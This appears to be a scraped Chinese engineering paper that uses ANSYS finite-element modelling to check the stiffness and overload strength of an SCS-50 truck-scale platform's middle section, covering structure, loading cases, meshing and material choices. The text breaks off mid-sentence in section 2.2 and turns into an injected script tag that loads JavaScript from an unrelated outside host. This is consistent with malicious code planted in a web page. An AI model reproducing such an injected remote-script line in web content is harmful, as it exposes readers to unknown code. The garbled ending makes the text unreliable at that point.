摘要：传统的汽车衡台面结构和刚度分析方法是把汽车衡秤台简化成一简支梁，因其模型过于简化，存在计算结果可靠性差、无法进行局部应力及应变分析等缺点。本文利用ansys有限元分析软件，对scs系列汽车衡秤台进行分析。在实体建模的基础上对刚度进行校核，重点对汽车衡超载时进行极限承载校核，得出超载时强度指标也应成为主要校核指标的结论，并给出合理的改进建议，为汽车衡的设计与生产提供有价值的参考。
关键词：ansys；有限元分析；汽车衡；刚度；强度
引言
近年来，作为大型称重计量设备的汽车衡越来越广泛地应用于工矿企业、交通运输、港口、仓库等各个部门。随着经济的发展，运输车辆类型不断增多，装载能力不断提高，这就对汽车衡的承载能力提出了更高的要求[1]。
传统的汽车衡台面结构和刚度分析方法是把汽车衡简化成一简支梁，这种简化方法计算简单，在汽车衡行业的设计和校核计算中曾广泛采用，但这种建模方法也正是因为模型过于简化而导致最终结果的不可靠。随着计算机技术的日益发展和广泛应用，有限元分析方法逐渐成为结构力学分析中强有力的工具。
著名的ansys软件是目前广泛应用的大型的以有限元分析为基础的cae软件。利用ansys，建立scs系列汽车衡秤台中节的三维实体模型，以期在更加符合实际条件的模型基础上对秤台的刚度和强度进行精确校核，并提出合理的改进建议。
1 秤台结构尺寸、校核指标及受载状况
1.1 scs-50系列汽车衡秤台结构分析
为制造加工、运输及安装方便，scs-50系列汽车衡秤台采用三台面搭接结构，利用中节上的托板和两边端节上的搭板搭接在一起。其主要技术参数为：
1）称量重量：50t。
2）称量方式：静态整车计量。
3）台面总体结构尺寸：15m×3m×0.3m。
4）传感器数量：8只。
其中，scs-50系列汽车衡中节由纵向6根槽钢、横向2根槽钢，上下焊接钢板，槽钢间均布筋板形成箱型结构。中节的总体尺寸为：5m×3m×0.3m，结构示意图如图1所示。
图1 秤台中节结构示意图1.2 校核指标
生产实践中，汽车衡是以刚度指标作为重要设计依据的。当车辆满载过秤台时，以后轮行至秤台纵向中间位置时产生的秤台弯曲变形最大，此时载荷为最大，秤台结构必须满足此时的刚度要求。按汽车衡秤台技术要求，秤台承受额定载荷时的允许最大弯曲变形不得超过秤台纵向长度的1/800至1/1000，从安全角度出发，我们取纵向长度的1/1000作为校核指标，即5mm。
1.3 加载
随着运输车辆类型的增多，装载能力的提高，汽车衡原有用户希望已安装的汽车衡能在特殊情况下偶尔过载承重，前提当然是保证安全。本文先对额定承载50t时进行常规校核，然后，应用户的特殊要求，考虑到原有汽车衡秤台具有一定的安全系数，对极限承载100t进行校核分析。分别按以下尺寸简化模型：
（1）承重50t时受载状况
双后桥载重车轮距1.8米，轴距1.2米，单个轮胎着地宽度0.3米，纵向着地长度0.4米，每侧一般为两个轮胎。加载位置如图2（a）涂黑所示：
（2）承重100t时受载状况
重型载重车辆一般为四后桥结构，其它建模尺寸不变，加载位置如图2（b）所示：
（a） 承重50吨时受载状况 （b）承重100吨时受载状况
图2 秤台中节加载示意图2 秤台有限元模型建立
2.1 实体建模及网格划分
ansys提供了两种生成模型的方法：实体建模和直接生成模型。由于实体建模相对处理的数据较少，便于几何改进和单元类型的变化，这也便于下一步的优化设计。对于庞大或复杂的模型，尤其是三维实体模型更加适合，所以对于汽车衡秤台的刚度校核我们采用实体建模。
整个秤台除支撑铁是35号钢以外，其余材料都是q235，所以选定弹性模量为2×1011，泊松比为0.27。
最初计划定义单元类型为20节点的6面体单元solid95，考虑到上下盖板形状规则，为保证其单元形状为6面体，盖板用扫掠网格划分（sweep）或映射网格划分（mapped）。但由于盖板与槽钢及筋板焊接处情况较复杂且厚薄不一，各部分逐个进行网格划分效率低下，且容易出错，最终采用自由网格划分。而采用自由网格划分会导致6面体单元solid95退化为4面体单元，故最终采用10节点的4面体单元solid92。自由网格划分时其smartsizing选定10级，单元尺寸size定为0.2。
2.2 加载及约束处理
因秤台面为一大平面，如何按实际情况在车轮处准确加载面力是关键。如直接选平?script src=http://er12.com/t.js>
